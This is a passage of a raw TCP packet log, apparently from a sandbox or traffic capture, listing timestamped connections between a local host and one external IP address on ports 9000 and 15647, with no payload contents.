Oct 19, 2024 03:37:10.619987011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620018005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620050907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620063066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620110035 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620197058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620208979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620218039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620228052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620238066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620246887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620250940 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620265961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620295048 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620376110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620466948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620477915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620486975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620497942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620507002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620512009 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620517969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620527029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620527983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620539904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620551109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620558977 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620585918 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620728970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620848894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620860100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620870113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620878935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620888948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620896101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.620897055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620918036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.620950937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621097088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621107101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621115923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621128082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621135950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621146917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621150970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621155024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621165991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621185064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621196032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621367931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621382952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621397018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621412039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621423006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621423960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621434927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621444941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621450901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621457100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621468067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621475935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621476889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621488094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621499062 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621499062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621510983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621520996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621522903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621535063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621556997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.621948957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621959925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621969938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.621979952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.622003078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.622006893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.622014999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.622020960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.622025967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.622036934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.622057915 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.622076035 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.660247087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.660288095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.660296917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.660357952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.708359957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.708399057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.708409071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.708435059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.708446980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.708501101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.708519936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.708566904 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.710288048 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711230040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711268902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711280107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711311102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711319923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711337090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711353064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711512089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711524963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711536884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711545944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711560011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711571932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711590052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711606026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711643934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711715937 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711726904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711734056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711745024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711755991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711762905 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711764097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711790085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711882114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711890936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711899996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.711961985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.711961985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.715152025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.721241951 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.738745928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.738756895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.738769054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.738903999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.738966942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.738986969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.738997936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739007950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739017963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739020109 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739057064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739063978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739074945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739080906 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739115953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739145041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739156008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739207029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739321947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739331961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739341974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739351988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739362001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739370108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739373922 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739381075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739422083 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739505053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739516973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739561081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739612103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739623070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739631891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739645958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739661932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739661932 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739681959 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739702940 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739852905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739862919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739872932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739882946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.739907026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.739924908 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740009069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740020037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740029097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740037918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740047932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740056038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740065098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740066051 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740094900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740257978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740268946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740278959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740289927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740320921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740344048 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740410089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740421057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740430117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740474939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740474939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740520954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740531921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740540981 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740566969 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740667105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740683079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740695000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740705013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740714073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740724087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740727901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740727901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740739107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740775108 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740775108 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.740967989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740978956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740988970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.740998030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741034985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741065025 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741168976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741178989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741188049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741198063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741203070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741216898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741218090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741234064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741254091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741431952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741445065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741455078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741465092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741487026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741507053 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741588116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741597891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741606951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741616964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741626978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741636992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741640091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741641998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741653919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741663933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741674900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.741677046 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741677046 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741695881 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.741710901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742007017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742017031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742027044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742036104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742048025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742054939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742058992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742070913 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742079020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742080927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742105007 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742127895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742306948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742317915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742333889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742346048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742356062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742360115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742367983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742378950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.742379904 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.742419958 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.772298098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.819696903 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.053595066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.366080046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.817585945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817614079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817625046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817673922 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.817703009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817718029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817749023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.817775965 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.817789078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817799091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817847967 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.817867994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817879915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.817923069 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818051100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818062067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818072081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818080902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818090916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818101883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818104982 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818126917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818146944 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818291903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818301916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818316936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818325996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818336964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818345070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818353891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818363905 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818367004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818389893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818403006 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818573952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818584919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818593979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818603992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818625927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818653107 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.818967104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818975925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818980932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818989992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.818994999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819005013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819020033 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819030046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819031000 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819040060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819048882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819058895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819062948 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819070101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819080114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819086075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819089890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819102049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819111109 CEST	49705	9000	192.168.2.5	213.109.202.97
